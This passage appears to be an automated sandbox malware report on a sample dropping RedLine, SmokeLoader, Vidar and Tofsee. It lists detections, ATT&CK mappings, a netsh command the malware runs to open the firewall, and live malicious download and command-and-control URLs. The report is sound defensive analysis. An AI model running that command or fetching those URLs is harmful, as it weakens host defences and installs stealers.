ffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameA,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputW,BuildCommDCBW,UnregisterWaitEx,GlobalLock,CreateIoCompletionPort,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionGuid,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleA,EndUpdateResourceA,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,ReadFileScatter,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

0_2_00419EB2

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Code function: 28_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

28_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Code function: 28_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

28_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

29_2_0040405E

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

0_2_00419EB2

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000C.00000002.534608363.000001ECC9E3D000.00000004.00000001.sdmp	Binary or memory string: (@\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe
Source: svchost.exe, 0000000C.00000002.534822144.000001ECC9F02000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.534608363.000001ECC9E3D000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 30.2.3BC6.exe.3aaf910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.3BC6.exe.3aaf910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.3BC6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000000.408848131.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.407524125.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.412827478.0000000003991000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.408441992.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.429951321.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.408078077.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 19.1.vfgiwcs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.OG9rNsihJ7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vfgiwcs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OG9rNsihJ7.exe.5f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.OG9rNsihJ7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BFBD.exe.6c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.1.BFBD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.vfgiwcs.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.BFBD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.366966979.00000000004B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.279897390.0000000003031000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.349879535.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.298084613.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.349992094.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.366989519.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.298215878.0000000001FA1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.357794608.000000000081A000.00000004.00000020.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 42.2.xqfkdfcl.exe.840000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.svchost.exe.7b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.3136.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.680e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.3.xqfkdfcl.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.svchost.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.840000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.388526176.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.524985253.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.362218485.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391463142.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391805380.0000000000680000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391938773.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3136.exe PID: 5060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xqfkdfcl.exe PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3440, type: MEMORYSTR

Source: Yara match

File source: 0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 30.2.3BC6.exe.3aaf910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.3BC6.exe.3aaf910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.3BC6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.0.3BC6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000000.408848131.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.407524125.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.412827478.0000000003991000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.408441992.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.429951321.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000000.408078077.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 19.1.vfgiwcs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.OG9rNsihJ7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vfgiwcs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OG9rNsihJ7.exe.5f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.OG9rNsihJ7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BFBD.exe.6c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.1.BFBD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.vfgiwcs.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.BFBD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.366966979.00000000004B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.279897390.0000000003031000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.349879535.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.298084613.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.349992094.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.366989519.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.298215878.0000000001FA1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.357794608.000000000081A000.00000004.00000020.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 42.2.xqfkdfcl.exe.840000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.svchost.exe.7b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.3136.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.680e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.3.xqfkdfcl.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.svchost.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.840000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.388526176.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.524985253.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.362218485.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391463142.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391805380.0000000000680000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391938773.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3136.exe PID: 5060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xqfkdfcl.exe PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3440, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

29_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools311	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API531	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer14	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service14	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Encrypted Channel22	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter3	Logon Script (Mac)	Windows Service14	Software Packing43	NTDS	System Information Discovery237	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Standard Port1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution3	Network Logon Script	Process Injection713	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol4	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery581	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol35	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading131	Proc Filesystem	Virtualization/Sandbox Evasion241	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion241	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection713	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
OG9rNsihJ7.exe	49%	ReversingLabs	Win32.Trojan.Chapak
OG9rNsihJ7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\3BC6.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\2473.exe	100%	Avira	HEUR/AGEN.1212012
C:\Users\user\AppData\Local\Temp\6AF7.exe	100%	Avira	HEUR/AGEN.1212012
C:\Users\user\AppData\Local\Temp\3BC6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FC2A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\vfgiwcs	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9789.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\254E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\45AA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B1B2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8017.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2F32.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\54AF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BFBD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3136.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\88E2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7808.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3A7E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3BC6.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\3BC6.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\45AA.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\45AA.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\54AF.exe	50%	ReversingLabs	Win32.Infostealer.Generic
C:\Users\user\AppData\Local\Temp\8017.exe	35%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx

Unpacked PE Files

Source	Detection	Scanner	Label	Download
30.0.3BC6.exe.650000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
30.0.3BC6.exe.650000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
20.0.B1B2.exe.2080e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.0.3BC6.exe.3c0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.1.OG9rNsihJ7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.1.vfgiwcs.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.0.3BC6.exe.3c0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
28.2.254E.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.OG9rNsihJ7.exe.5f15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.3.254E.exe.7f0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.2.vfgiwcs.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.2.xqfkdfcl.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
29.2.3136.exe.6c0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
30.2.3BC6.exe.650000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
19.0.vfgiwcs.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.3.3136.exe.7f0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
20.0.B1B2.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.BFBD.exe.6c15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.0.3BC6.exe.3c0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.2.OG9rNsihJ7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.0.3BC6.exe.3c0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
20.0.B1B2.exe.2080e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.0.3BC6.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
1.0.OG9rNsihJ7.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.0.BFBD.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.OG9rNsihJ7.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.0.3BC6.exe.650000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
19.0.vfgiwcs.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.OG9rNsihJ7.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.0.3BC6.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
24.1.BFBD.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.B1B2.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.2.BFBD.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.0.BFBD.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.3.xqfkdfcl.exe.7f0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.0.vfgiwcs.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
44.2.svchost.exe.7b0000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
45.2.3BC6.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
45.0.3BC6.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
20.2.B1B2.exe.2080e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
28.2.254E.exe.6c0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
45.0.3BC6.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
29.2.3136.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
42.2.xqfkdfcl.exe.840000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
45.0.3BC6.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
18.2.vfgiwcs.6415a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.0.BFBD.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.B1B2.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.2.xqfkdfcl.exe.680e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
20.3.B1B2.exe.2090000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
30.0.3BC6.exe.650000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://81.163.30.181/l2.exe	100%	Avira URL Cloud	malware
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://74.201.28.62/book/KB5009812.png	0%	Avira URL Cloud	safe
http://schemas.microsoft.	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://74.201.28.62/book/KB5009812.exe	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
https://dynamic.t	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
http://81.163.30.181/l3.exe	100%	Avira URL Cloud	malware
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
github.com	140.82.121.4	true	false	high
patmushta.info	94.142.143.116	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	high
cdn.discordapp.com	162.159.133.233	true	false	high
ipwhois.app	136.243.172.101	true	false	high
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	8.209.70.0	true	false	high
c9d0e790b353537889bd47a364f5acff43c11f248.xyz	185.112.83.97	true	false	high
privacy-tools-for-you-780.com	8.209.70.0	true	false	high
microsoft-com.mail.protection.outlook.com	40.93.207.0	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
api.telegram.org	149.154.167.220	true	false	high
data-host-coin-8.com	8.209.70.0	true	false	high
api.ip.sb	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://81.163.30.181/l2.exe	true	Avira URL Cloud: malware	unknown
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
